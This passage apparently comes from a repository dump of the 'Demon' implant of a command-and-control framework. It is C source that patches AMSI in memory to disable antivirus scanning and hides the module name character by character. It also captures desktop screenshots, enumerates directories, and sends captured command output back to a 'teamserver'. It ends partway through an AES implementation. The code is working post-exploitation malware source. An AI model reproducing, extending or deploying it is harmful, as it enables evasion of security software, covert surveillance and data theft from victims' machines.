NT_SUCCESS( NtStatus = SysNtQuerySystemInformation( SystemProcessInformation, *SnapShot, Length, &Length ) ) ) {\n                PRINTF( \"NtQuerySystemInformation Failed: Status[%lx]\\n\", NtStatus )\n                goto LEAVE;\n            }\n        } else NtStatus = STATUS_NO_MEMORY;\n\n        *Size = Length;\n    } else {\n        /* we expected to fail. something doesn't seem right... */\n        NtStatus = STATUS_INVALID_PARAMETER;\n    }\n\n    LEAVE:\n    return NtStatus;\n}\n\nBOOL ReadLocalFile(\n    IN  LPCWSTR FileName,\n    OUT PVOID*  FileContent,\n    OUT PDWORD  FileSize\n) {\n    BOOL   Success = FALSE;\n    DWORD  Read    = 0;\n    HANDLE hFile   = NULL;\n\n    hFile = Instance->Win32.CreateFileW( FileName, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 );\n    if ( ( ! hFile ) || ( hFile == INVALID_HANDLE_VALUE ) ) {\n        PUTS( \"CreateFileW: Failed\" )\n        PACKAGE_ERROR_WIN32\n        goto Cleanup;\n    }\n\n    *FileSize    = Instance->Win32.GetFileSize( hFile, 0 );\n    *FileContent = Instance->Win32.LocalAlloc( LPTR, *FileSize );\n\n    if ( ! Instance->Win32.ReadFile( hFile, *FileContent, *FileSize, &Read, NULL ) ) {\n        PUTS( \"ReadFile: Failed\" )\n        PACKAGE_ERROR_WIN32\n        goto Cleanup;\n    }\n\n    Success = TRUE;\n\n    Cleanup:\n    if ( hFile ) {\n        SysNtClose( hFile );\n        hFile = NULL;\n    }\n\n    if ( ! Success && *FileContent ) {\n        Instance->Win32.LocalFree( *FileContent );\n        *FileContent = NULL;\n        *FileSize    = 0;\n    }\n\n    return Success;\n}\n\n/* Patch AMSI\n * TODO: remove this and replace it with hardware breakpoints */\nBOOL BypassPatchAMSI(\n    VOID\n) {\n    HINSTANCE hModuleAmsi   = NULL;\n    LPVOID pAddress         = NULL;\n    CHAR module[10]         = { 0 };\n\n#ifdef _M_AMD64\n    UCHAR amsiPatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; //x64\n#elif defined(_M_IX86)\n    unsigned char amsiPatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };//x86\n#endif\n\n    module[0] = HideChar('A');\n    module[1] = HideChar('M');\n    module[2] = HideChar('S');\n    module[3] = HideChar('I');\n    module[4] = HideChar('.');\n    module[5] = HideChar('D');\n    module[6] = HideChar('L');\n    module[7] = HideChar('L');\n    module[8] = HideChar('\\0');\n\n    hModuleAmsi = LdrModuleLoad( module );\n    MemZero( module, sizeof( module ) );\n\n    PRINTF( \"[+] Loaded asmi.dll: %p\\n\", hModuleAmsi );\n\n    pAddress = LdrFunctionAddr( hModuleAmsi, H_FUNC_AMSISCANBUFFER );\n    if( pAddress == NULL )\n        return 0;\n\n    PRINTF(\"[+] asmi function: %p\\n\", pAddress);\n\n    LPVOID lpBaseAddress = pAddress;\n    ULONG  OldProtection, NewProtection;\n    SIZE_T uSize = sizeof(amsiPatch);\n\n    if ( NT_SUCCESS( SysNtProtectVirtualMemory( NtCurrentProcess(), (PVOID)&lpBaseAddress, &uSize, PAGE_EXECUTE_READWRITE, &OldProtection ) ) ) {\n        MemCopy( pAddress, amsiPatch, sizeof(amsiPatch) );\n\n        if ( NT_SUCCESS( SysNtProtectVirtualMemory( NtCurrentProcess(), (PVOID)&lpBaseAddress, &uSize, OldProtection, &NewProtection ) ) ) {\n            return TRUE;\n        }\n\n        PUTS( \"[-] Failed to change back protection\" )\n    }\n\n    return FALSE;\n}\n\nBOOL AnonPipesInit(\n    IN PANONPIPE AnonPipes\n) {\n    SECURITY_ATTRIBUTES SecurityAttr = { sizeof( SECURITY_ATTRIBUTES ), NULL, TRUE };\n\n    if ( ! Instance->Win32.CreatePipe( &AnonPipes->StdOutRead, &AnonPipes->StdOutWrite, &SecurityAttr, 0 ) ) {\n        PACKAGE_ERROR_WIN32\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\n/*!\n * reads from the specified anonymous pipe and\n * sends the result back to the teamserver\n * @param AnonPipes\n * @param RequestID\n */\nVOID AnonPipesRead(\n    IN PANONPIPE AnonPipes,\n    IN UINT32 RequestID\n) {\n    PPACKAGE Package         = NULL;\n    BOOL     Success         = FALSE;\n    LPVOID   Buffer          = NULL;\n    UCHAR    buf[ 1024 ]     = { 0 };\n    DWORD    dwBufferSize    = 0;\n    DWORD    dwRead          = 0;\n\n    PUTS( \"Start reading anon pipe\" )\n    PRINTF( \"AnonPipes->StdOutRead => %x\\n\", AnonPipes->StdOutRead )\n\n    if ( AnonPipes->StdOutWrite ) {\n        SysNtClose( AnonPipes->StdOutWrite );\n        AnonPipes->StdOutWrite = NULL;\n    }\n\n    Buffer = Instance->Win32.LocalAlloc( LPTR, 0 );\n\n    do {\n        Success = Instance->Win32.ReadFile( AnonPipes->StdOutRead, buf, 1024, &dwRead, NULL );\n        PRINTF( \"dwRead => %d\\n\", dwRead )\n\n        if ( dwRead == 0 ) {\n            break;\n        }\n\n        dwBufferSize += dwRead;\n\n        Buffer = Instance->Win32.LocalReAlloc( Buffer, dwBufferSize, LMEM_MOVEABLE );\n\n        MemCopy( Buffer + ( dwBufferSize - dwRead ), buf, dwRead );\n        MemSet( buf, 0, dwRead );\n    } while ( Success == TRUE );\n\n    if ( dwBufferSize ) {\n        Package = PackageCreateWithRequestID( DEMON_OUTPUT, RequestID );\n        PackageAddBytes( Package, Buffer, dwBufferSize );\n        PackageTransmit( Package );\n    }\n\n    DATA_FREE( Buffer, dwBufferSize );\n}\n\n/*!\n * takes a BMP screenshot of the current desktop\n * @param ImagePointer\n * @param ImageSize\n * @return\n */\nBOOL WinScreenshot(\n    OUT PVOID*  ImagePointer,\n    OUT PSIZE_T ImageSize\n) {\n    BITMAPFILEHEADER    BitFileHdr  = { 0 };\n    BITMAPINFOHEADER    BitInfoHdr  = { 0 };\n    BITMAPINFO          BitMapInfo  = { 0 };\n    HGDIOBJ             hTempMap    = NULL;\n    HBITMAP             hBitmap     = NULL;\n    BITMAP              AllDesktops = { 0 };\n    HDC                 hDC, hMemDC = NULL;\n    BYTE*               bBits       = NULL;\n    DWORD               cbBits      = 0;\n    BOOL                ReturnValue = FALSE;\n    HGDIOBJ             ObjPtr      = NULL;\n\n    PVOID               BitMapImage = NULL;\n    DWORD               BitMapSize  = 0;\n\n    // NOTE: if GetSystemMetrics fails, screenshot works anyways\n    INT x = Instance->Win32.GetSystemMetrics( SM_XVIRTUALSCREEN );\n    INT y = Instance->Win32.GetSystemMetrics( SM_YVIRTUALSCREEN );\n\n    MemSet( &BitFileHdr, 0, sizeof( BITMAPFILEHEADER ) );\n    MemSet( &BitInfoHdr, 0, sizeof( BITMAPINFOHEADER ) );\n    MemSet( &BitMapInfo, 0, sizeof( BITMAPINFO ) );\n    MemSet( &AllDesktops,0, sizeof( BITMAP ) );\n\n    hDC = Instance->Win32.GetDC( NULL );\n    if ( ! hDC ) {\n        PUTS( \"GetDC failed\" )\n        goto Cleanup;\n    }\n\n    hTempMap = Instance->Win32.GetCurrentObject( hDC, OBJ_BITMAP );\n    if ( ! hTempMap ) {\n        PUTS( \"GetCurrentObject failed\" )\n        goto Cleanup;\n    }\n\n    if ( ! Instance->Win32.GetObjectW( hTempMap, sizeof( BITMAP ), &AllDesktops ) ) {\n        PUTS( \"GetObjectW failed\" )\n        goto Cleanup;\n    }\n\n    BitFileHdr.bfType        = ( WORD ) ( 'B' | ( 'M' << 8 ) );\n    BitFileHdr.bfOffBits     = sizeof( BITMAPFILEHEADER ) + sizeof( BITMAPINFOHEADER );\n    BitInfoHdr.biSize        = sizeof( BITMAPINFOHEADER );\n    BitInfoHdr.biBitCount    = 24;\n    BitInfoHdr.biCompression = BI_RGB;\n    BitInfoHdr.biPlanes      = 1;\n    BitInfoHdr.biWidth       = AllDesktops.bmWidth;\n    BitInfoHdr.biHeight      = AllDesktops.bmHeight;\n\n    BitMapInfo.bmiHeader     = BitInfoHdr;\n\n    cbBits     = ( ( ( 24 * AllDesktops.bmWidth + 31 ) &~31 ) / 8 ) * AllDesktops.bmHeight;\n\n    BitMapSize  = cbBits + ( sizeof( BITMAPFILEHEADER ) + sizeof( BITMAPINFOHEADER ) );\n    BitMapImage = Instance->Win32.LocalAlloc( LPTR, BitMapSize );\n\n    hMemDC  = Instance->Win32.CreateCompatibleDC( hDC );\n    if ( ! hMemDC ) {\n        PUTS( \"CreateCompatibleDC failed\" )\n        goto Cleanup;\n    }\n\n    hBitmap = Instance->Win32.CreateDIBSection( hDC, &BitMapInfo, DIB_RGB_COLORS, ( VOID** ) &bBits, NULL, 0 );\n    if ( ! hBitmap ) {\n        PUTS( \"CreateDIBSection failed\" )\n        goto Cleanup;\n    }\n\n    ObjPtr = Instance->Win32.SelectObject( hMemDC, hBitmap );\n    if ( ! ObjPtr || ObjPtr == HGDI_ERROR ) {\n        PUTS( \"SelectObject failed\" )\n        goto Cleanup;\n    }\n\n    if ( ! Instance->Win32.BitBlt( hMemDC, 0, 0, AllDesktops.bmWidth, AllDesktops.bmHeight, hDC, x, y, SRCCOPY ) ) {\n        PUTS( \"BitBlt failed\" )\n        goto Cleanup;\n    }\n\n    MemCopy( BitMapImage, &BitFileHdr, sizeof( BITMAPFILEHEADER ) );\n    MemCopy( BitMapImage + sizeof( BITMAPFILEHEADER ), &BitInfoHdr, sizeof( BITMAPINFOHEADER ) );\n    MemCopy( BitMapImage + sizeof( BITMAPFILEHEADER ) + sizeof( BITMAPINFOHEADER ), bBits, cbBits );\n\n    ReturnValue = TRUE;\n\nCleanup:\n\n    if ( ImagePointer )\n        *ImagePointer = BitMapImage;\n\n    if ( ImageSize )\n        *ImageSize = BitMapSize;\n\n    if ( hTempMap ) {\n        Instance->Win32.DeleteObject( hTempMap );\n    }\n\n    if ( hMemDC ) {\n        Instance->Win32.DeleteDC( hMemDC );\n    }\n\n    if ( hDC ) {\n        Instance->Win32.ReleaseDC( NULL, hDC );\n    }\n\n    if ( hBitmap ) {\n        Instance->Win32.DeleteObject( hBitmap );\n    }\n\n    return ReturnValue;\n}\n\n/*!\n * Read from the pipe and writes it to the specified buffer\n * @param Handle handle to the pipe\n * @param Buffer buffer to save the read bytes from the pipe\n * @return pipe read successful or not\n */\nBOOL PipeRead(\n    IN HANDLE  Handle,\n    IN PBUFFER Buffer\n) {\n    DWORD Read  = 0;\n    DWORD Total = 0;\n\n    do {\n        if ( ! Instance->Win32.ReadFile( Handle, C_PTR( U_PTR( Buffer->Buffer ) + Total ), MIN( ( Buffer->Length - Total ), PIPE_BUFFER_MAX ), &Read, NULL ) ) {\n            if ( NtGetLastError() != ERROR_MORE_DATA ) {\n                PRINTF( \"ReadFile failed with %d\\n\", NtGetLastError() )\n                return FALSE;\n            }\n        }\n\n        Total += Read;\n    } while ( Total < Buffer->Length );\n\n    return TRUE;\n}\n\n/*!\n * Write the specified buffer to the specified pipe\n * @param Handle handle to the pipe\n * @param Buffer buffer to write\n * @return pipe write successful or not\n */\nBOOL PipeWrite(\n    IN  HANDLE   Handle,\n    OUT PBUFFER Buffer\n) {\n    DWORD Written = 0;\n    DWORD Total   = 0;\n\n    do {\n        if ( ! Instance->Win32.WriteFile( Handle, Buffer->Buffer + Total, MIN( ( Buffer->Length - Total ), PIPE_BUFFER_MAX ), &Written , NULL ) ) {\n            return FALSE;\n        }\n\n        Total += Written;\n    } while ( Total < Buffer->Length );\n\n    return TRUE;\n}\n\n\n/*!\n * @brief\n *  check if CFG is enforced in this current process.\n *\n * @return\n */\nBOOL CfgQueryEnforced(\n    VOID\n) {\n    EXTENDED_PROCESS_INFORMATION ProcInfoEx = { 0 };\n    NTSTATUS                     NtStatus   = STATUS_SUCCESS;\n\n    ProcInfoEx.ExtendedProcessInfo       = ProcessControlFlowGuardPolicy;\n    ProcInfoEx.ExtendedProcessInfoBuffer = 0;\n\n    /* query if Cfg is enabled or not. */\n    if ( ! NT_SUCCESS( NtStatus = SysNtQueryInformationProcess(\n            NtCurrentProcess(),\n            ProcessCookie | ProcessUserModeIOPL,\n            &ProcInfoEx,\n            sizeof( ProcInfoEx ),\n            NULL )\n    ) ) {\n        PRINTF( \"NtQueryInformationProcess Failed => %p\\n\", NtStatus );\n        return FALSE;\n    }\n\n    PRINTF( \"Control Flow Guard Policy Enabled = %s\\n\", ProcInfoEx.ExtendedProcessInfoBuffer ? \"TRUE\" : \"FALSE\" );\n    return U_PTR( ProcInfoEx.ExtendedProcessInfoBuffer );\n}\n\n/*!\n * @brief\n *  add module + function to CFG exception list.\n *\n * @param ImageBase\n * @param Function\n */\nVOID CfgAddressAdd(\n    IN PVOID ImageBase,\n    IN PVOID Function\n) {\n    CFG_CALL_TARGET_INFO Cfg      = { 0 };\n    MEMORY_RANGE_ENTRY   MemRange = { 0 };\n    VM_INFORMATION       VmInfo   = { 0 };\n    PIMAGE_NT_HEADERS    NtHeader = { 0 };\n    ULONG                Output   = 0;\n    NTSTATUS             NtStatus = STATUS_SUCCESS;\n\n    NtHeader                = C_PTR( ImageBase + ( ( PIMAGE_DOS_HEADER ) ImageBase )->e_lfanew );\n    MemRange.NumberOfBytes  = U_PTR( NtHeader->OptionalHeader.SizeOfImage + 0x1000 - 1 ) &~( 0x1000 - 1 );\n    MemRange.VirtualAddress = ImageBase;\n\n    /* set cfg target call info */\n    Cfg.Flags  = CFG_CALL_TARGET_VALID;\n    Cfg.Offset = Function - ImageBase;\n\n    VmInfo.dwNumberOfOffsets = 1;\n    VmInfo.plOutput          = &Output;\n    VmInfo.ptOffsets         = &Cfg;\n    VmInfo.pMustBeZero       = FALSE;\n    VmInfo.pMoarZero         = FALSE;\n\n    if ( ! NT_SUCCESS( NtStatus = SysNtSetInformationVirtualMemory( NtCurrentProcess(), VmCfgCallTargetInformation, 1, &MemRange, &VmInfo, sizeof( VmInfo ) ) ) ) {\n        PRINTF( \"NtSetInformationVirtualMemory Failed => %p\", NtStatus );\n    }\n}\n\n/*!\n * Sets an event\n * @param Event\n */\nBOOL EventSet(\n    IN HANDLE Event\n) {\n    return NT_SUCCESS( Instance->Win32.NtSetEvent( Event, NULL ) );\n}\n\n\n/*!\n * generates a random unsigned 32-bit integer\n * @return\n */\nULONG RandomNumber32(\n    VOID\n) {\n    ULONG Seed = 0;\n\n    Seed = NtGetTickCount();\n    Seed = Instance->Win32.RtlRandomEx( &Seed );\n    Seed = Instance->Win32.RtlRandomEx( &Seed );\n    Seed = ( Seed % ( LONG_MAX - 2 + 1 ) ) + 2;\n\n    return Seed % 2 == 0 ? Seed : Seed + 1;\n}\n\n/*!\n * generates a random bool\n * @return\n */\nBOOL RandomBool(\n    VOID\n) {\n    ULONG Seed = 0;\n\n    Seed = NtGetTickCount();\n    Seed = Instance->Win32.RtlRandomEx( &Seed );\n\n    return Seed % 2 == 0 ? TRUE : FALSE;\n}\n\n/*!\n * get current timestamp since unix epoch\n * from KUSER_SHARED_DATA\n * @return\n */\nULONG64 SharedTimestamp(\n    VOID\n) {\n    //SIZE_T        UnixStart     = 0x019DB1DED53E8000; /* Start of Unix epoch in ticks. */\n    //SIZE_T        TicksPerMilli = 1000;\n    LARGE_INTEGER Time          = { 0 };\n\n    Time.LowPart  = USER_SHARED_DATA->SystemTime.LowPart;\n    Time.HighPart = USER_SHARED_DATA->SystemTime.High2Time;\n\n    // NOTE: avoid 64-bit division which doesn't work in x86\n    //return ( ULONGLONG ) ( ( Time.QuadPart - UnixStart ) / TicksPerMilli );\n\n    return Time.QuadPart;\n}\n\n/*!\n * Sleep using KUSER_SHARED_DATA.SystemTime\n * @param Delay\n */\nVOID SharedSleep(\n    ULONG64 Delay\n) {\n    SIZE_T  Rand          = { 0 };\n    ULONG64 End           = { 0 };\n    ULONG   TicksPerMilli = 1000;\n\n    Delay *= TicksPerMilli;\n\n    Rand = RandomNumber32();\n    End  = SharedTimestamp() + Delay;\n\n    /* increment random number til we reach the end */\n    while ( SharedTimestamp() < End ) {\n        Rand += 1;\n    }\n\n    if ( ( SharedTimestamp() - End ) > 2000 ) {\n        return;\n    }\n}\n\nVOID ShuffleArray(\n    _Inout_ PVOID* array,\n    IN     SIZE_T n\n) {\n    SIZE_T j = 0;\n    PVOID  t = NULL;\n\n    for ( int i = 0; i < n - 1; i++ )\n    {\n        j = i + ( RandomNumber32() & RAND_MAX ) / ( RAND_MAX / ( n - i ) + 1 );\n        t = array[ j ];\n\n        array[ j ] = array[ i ];\n        array[ i]  = t;\n    }\n}\n\nVOID volatile ___chkstk_ms(\n        VOID\n) { __asm__( \"nop\" ); }\n\n#if defined(SEND_LOGS) && defined(DEBUG)\n\nVOID DemonPrintf( PCHAR fmt, ... )\n{\n    PPACKAGE    package              = NULL;\n    va_list     VaListArg            = 0;\n    PVOID       CallbackOutput       = NULL;\n    INT         CallbackSize         = 0;\n\n    if ( ! Instance->Session.Connected ) {\n        return;\n    }\n\n    package = PackageCreate( BEACON_OUTPUT );\n\n    va_start( VaListArg, fmt );\n\n    CallbackSize    = Instance->Win32.vsnprintf( NULL, 0, fmt, VaListArg );\n    CallbackOutput  = Instance->Win32.LocalAlloc( LPTR, CallbackSize );\n\n    Instance->Win32.vsnprintf( CallbackOutput, CallbackSize, fmt, VaListArg );\n\n    va_end( VaListArg );\n\n    PackageAddInt32( package, 0 ); // CALLBACK_OUTPUT\n    PackageAddBytes( package, CallbackOutput, CallbackSize );\n    PackageTransmit( package );\n\n    MemSet( CallbackOutput, 0, CallbackSize );\n    Instance->Win32.LocalFree( CallbackOutput );\n}\n\n#elif defined(SHELLCODE) && defined(DEBUG)\n\nVOID LogToConsole(\n    IN LPCSTR fmt,\n    ...)\n{\n    INT     OutputSize   = 0;\n    LPSTR   OutputString = NULL;\n    va_list VaListArg    = 0;\n\n    // have we initialized all the function addresses?\n    if ( Instance->Win32.AttachConsole == NULL ||\n         Instance->Win32.vsnprintf     == NULL ||\n         Instance->Win32.GetStdHandle  == NULL ||\n         Instance->Win32.WriteConsoleA == NULL ||\n         Instance->Win32.LocalAlloc    == NULL )\n        return;\n\n    // get the handle to the output console\n    if ( Instance->hConsoleOutput == NULL )\n    {\n        Instance->Win32.AttachConsole( ATTACH_PARENT_PROCESS );\n        Instance->hConsoleOutput = Instance->Win32.GetStdHandle( STD_OUTPUT_HANDLE );\n        if ( ! Instance->hConsoleOutput  )\n            return;\n    }\n\n    va_start( VaListArg, fmt );\n\n    // allocate space for the final string\n    OutputSize   = Instance->Win32.vsnprintf( NULL, 0, fmt, VaListArg ) + 1;\n    OutputString = Instance->Win32.LocalAlloc( LPTR, OutputSize );\n\n    // write the final string\n    Instance->Win32.vsnprintf( OutputString, OutputSize, fmt, VaListArg );\n\n    // write it to the console\n    Instance->Win32.WriteConsoleA( Instance->hConsoleOutput, OutputString, OutputSize, NULL, NULL );\n\n    DATA_FREE( OutputString, OutputSize );\n\n    va_end( VaListArg );\n}\n\n#endif\n\nPROOT_DIR listDir(\n    IN LPWSTR StartPath,\n    IN BOOL   SubDirs,\n    IN BOOL   FilesOnly,\n    IN BOOL   DirsOnly,\n    IN LPWSTR Starts,\n    IN LPWSTR Contains,\n    IN LPWSTR Ends,\n    IN UINT32 MaxLevelDeep)\n{\n    WIN32_FIND_DATAW FindData      = { 0 };\n    HANDLE           hFile         = NULL;\n    ULARGE_INTEGER   FileSize      = { 0 };\n    PROOT_DIR        RootDir       = NULL;\n    PROOT_DIR        Dir           = NULL;\n    PROOT_DIR        LastDir       = NULL;\n    PROOT_DIR        TmpRootDir    = NULL;\n    PDIR_OR_FILE     DirOrFile     = NULL;\n    PDIR_OR_FILE     LastDirOrFile = NULL;\n    PDIR_OR_FILE     TmpDirOrFile  = NULL;\n    PSUB_DIR         RootSubDir    = NULL;\n    PSUB_DIR         LastSubDir    = NULL;\n    PSUB_DIR         SubDir        = NULL;\n    BOOL             IsDir         = FALSE;\n    LPWSTR           Path          = NULL;\n    UINT32           PathSize      = NULL;\n    BOOL             Success       = FALSE;\n\n    if ( ( ! StartPath ) || ( FilesOnly && DirsOnly ) ) {\n        PUTS( \"Invalid arguments\" )\n        goto Cleanup;\n    }\n\n    // allocate the path on the heap to keep stack usage low (given that this function is recursive)\n    Path = Instance->Win32.LocalAlloc( LPTR, ( MAX_PATH + 2 + 1 ) * sizeof( WCHAR ) );\n    if ( ! Path )\n    {\n        PUTS( \"Failed to allocate memory\" );\n        goto Cleanup;\n    }\n\n    // copy the path\n    PathSize = MIN( MAX_PATH, StringLengthW( StartPath ) );\n    MemCopy( Path, StartPath, PathSize * sizeof( WCHAR ) );\n\n    // search for the first file in the folder specified\n    hFile = Instance->Win32.FindFirstFileW( Path, &FindData );\n    if ( hFile == INVALID_HANDLE_VALUE )\n    {\n        PRINTF( \"FindFirstFileW failed for path %ls\\n\", Path );\n        goto Cleanup;\n    }\n\n    IsDir = ( FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY ) == FILE_ATTRIBUTE_DIRECTORY;\n\n    // If it's a single directory without a wildcard, re-run it with a \\*\n    if ( IsDir && Path[ PathSize - 1 ] != 0x2a )\n    {\n        if ( Path[ PathSize - 1 ] != 0x5c )\n            Path[ PathSize++ ] = 0x5c;\n        Path[ PathSize++ ] = 0x2a;\n        Path[ PathSize ]   = 0x00;\n\n        // repeat the search\n        Instance->Win32.FindClose( hFile );\n        hFile = Instance->Win32.FindFirstFileW( Path, &FindData );\n        if ( hFile == INVALID_HANDLE_VALUE )\n        {\n            PRINTF( \"FindFirstFileW failed for path %ls\\n\", Path );\n            goto Cleanup;\n        }\n    }\n\n    // allocate the RootDir\n    RootDir = Instance->Win32.LocalAlloc( LPTR, sizeof( ROOT_DIR ) );\n    if ( ! RootDir )\n    {\n        PUTS( \"Failed to allocate memory\" );\n        goto Cleanup;\n    }\n\n    MemCopy( RootDir->Path, Path, MIN( MAX_PATH, StringLengthW( Path ) ) * sizeof( WCHAR ) );\n\n    do\n    {\n        IsDir = ( FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY ) == FILE_ATTRIBUTE_DIRECTORY;\n\n        // ignore dirs if we are only looking for files on the current dir\n        if ( IsDir && ! SubDirs && FilesOnly )\n            continue;\n\n        // ignore files if we are only looking for dirs\n        if ( ! IsDir && DirsOnly )\n            continue;\n\n        // ignore .\n        if ( IsDir &&\n             StringLengthW( FindData.cFileName ) == 1 &&\n             FindData.cFileName[0] == 0x2e )\n            continue;\n\n        // ignore ..\n        if ( IsDir &&\n             StringLengthW( FindData.cFileName ) == 2 &&\n             FindData.cFileName[0] == 0x2e &&\n             FindData.cFileName[1] == 0x2e )\n            continue;\n\n        // if we are interested in subdirs, remember that we found this directory\n        if ( IsDir && SubDirs )\n        {\n            SubDir = Instance->Win32.LocalAlloc( LPTR, sizeof( SUB_DIR ) );\n            if ( ! SubDir )\n            {\n                PUTS( \"Failed to allocate memory\" );\n                goto Cleanup;\n            }\n\n            MemCopy( SubDir->Path, Path, ( PathSize - 1 ) * sizeof( WCHAR ) );\n            StringConcatW( SubDir->Path, FindData.cFileName );\n\n            if ( ! LastSubDir ) {\n                RootSubDir = SubDir;\n                LastSubDir = SubDir;\n            } else {\n                LastSubDir->Next = SubDir;\n                LastSubDir = SubDir;\n            }\n        }\n\n        // ignore dirs if we are only looking for files\n        if ( IsDir && FilesOnly )\n            continue;\n\n        // if defined, make sure the name starts with Starts\n        if ( Starts )\n        {\n            if ( StringLengthW( FindData.cFileName ) < StringLengthW( Starts ) )\n                continue;\n            if ( StringCompareIW( Starts, FindData.cFileName ) != 0 )\n                continue;\n        }\n\n        // if defined, make sure the name contains with Contains\n        if ( Contains )\n        {\n            if ( StringLengthW( FindData.cFileName ) < StringLengthW( Contains ) )\n                continue;\n            if ( ! WcsStr( FindData.cFileName, Contains ) )\n                continue;\n        }\n\n        // if defined, make sure the name ends with Ends\n        if ( Ends )\n        {\n            if ( StringLengthW( FindData.cFileName ) < StringLengthW( Ends ) )\n                continue;\n            if ( StringCompareIW( Ends, &FindData.cFileName[ StringLengthW( FindData.cFileName ) - StringLengthW( Ends ) ] ) != 0 )\n                continue;\n        }\n\n        // save this directory or file\n        DirOrFile = Instance->Win32.LocalAlloc( LPTR, sizeof( DIR_OR_FILE ) );\n        if ( ! DirOrFile )\n        {\n            PUTS( \"Failed to allocate memory\" );\n            goto Cleanup;\n        }\n\n        Instance->Win32.FileTimeToSystemTime( &FindData.ftLastAccessTime, &DirOrFile->FileTime );\n        Instance->Win32.SystemTimeToTzSpecificLocalTime( 0, &DirOrFile->FileTime, &DirOrFile->SystemTime );\n\n        DirOrFile->IsDir = IsDir;\n\n        if ( DirOrFile->IsDir )\n        {\n            RootDir->NumFolders += 1;\n        }\n        else\n        {\n            FileSize.HighPart = FindData.nFileSizeHigh;\n            FileSize.LowPart  = FindData.nFileSizeLow;\n            DirOrFile->Size   = FileSize.QuadPart;\n\n            RootDir->NumFiles      += 1;\n            RootDir->TotalFileSize += DirOrFile->Size;\n        }\n\n        MemCopy( DirOrFile->FileName, FindData.cFileName, StringLengthW( FindData.cFileName ) * sizeof( WCHAR ) );\n\n        if ( LastDirOrFile ) {\n            LastDirOrFile->Next = DirOrFile;\n        } else {\n            RootDir->Content = DirOrFile;\n        }\n        LastDirOrFile = DirOrFile;\n    }\n    while ( Instance->Win32.FindNextFileW( hFile, &FindData ) );\n\n    // list all subdirs recursively if requested\n    SubDir  = RootSubDir;\n    LastDir = RootDir;\n    while ( MaxLevelDeep > 0 && SubDir )\n    {\n        Dir = listDir( SubDir->Path, SubDirs, FilesOnly, DirsOnly, Starts, Contains, Ends, MaxLevelDeep -1 );\n\n        if ( Dir )\n        {\n            LastDir->Next = Dir;\n            LastDir       = Dir;\n            while ( LastDir->Next )\n            {\n                LastDir = LastDir->Next;\n            }\n        }\n\n        SubDir = SubDir->Next;\n    }\n\n    Success = TRUE;\n\nCleanup:\n    if ( hFile )\n        Instance->Win32.FindClose( hFile );\n\n    DATA_FREE( Path, ( MAX_PATH + 2 + 1 ) * sizeof( WCHAR ) );\n\n    SubDir = RootSubDir;\n    while ( SubDir )\n    {\n        LastSubDir = SubDir->Next;\n        DATA_FREE( SubDir, sizeof( SUB_DIR ) );\n        SubDir = LastSubDir;\n    }\n\n    if ( ! Success )\n    {\n        while ( RootDir )\n        {\n            DirOrFile = RootDir->Content;\n            while ( DirOrFile )\n            {\n                TmpDirOrFile = DirOrFile->Next;\n                DATA_FREE( DirOrFile, sizeof( DIR_OR_FILE ) );\n                DirOrFile = TmpDirOrFile;\n            }\n\n            TmpRootDir = RootDir->Next;\n            DATA_FREE( RootDir, sizeof( ROOT_DIR ) );\n            RootDir = TmpRootDir;\n        }\n\n        return NULL;\n    }\n\n    return RootDir;\n}\n"
  },
  {
    "path": "payloads/Demon/src/crypt/AesCrypt.c",
    "content": "#include <crypt/AesCrypt.h>\n#include <core/MiniStd.h>\n\n#define Nb 4\n\n#if defined(AES256) && (AES256 == 1)\n#define Nk 8\n    #define Nr 14\n#elif defined(AES192) && (AES192 == 1)\n#define Nk 6\n    #define Nr 12\n#else\n#define Nk 4        // The number of 32 bit words in a key.\n#define Nr 10       // The number of rounds in AES Cipher.\n#endif\n\n#ifndef MULTIPLY_AS_A_FUNCTION\n#define MULTIPLY_AS_A_FUNCTION 0\n#endif\n\ntypedef UINT8 state_t[4][4];\n\nstatic const UINT8 sbox[256] = {\n        //0     1    2      3     4    5     6     7      8    9     A      B    C     D     E     F\n        0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,\n        0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,\n        0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,\n        0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,\n        0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,\n        0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,\n        0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,\n        0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,\n        0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,\n        0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,\n        0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,\n        0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,\n        0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 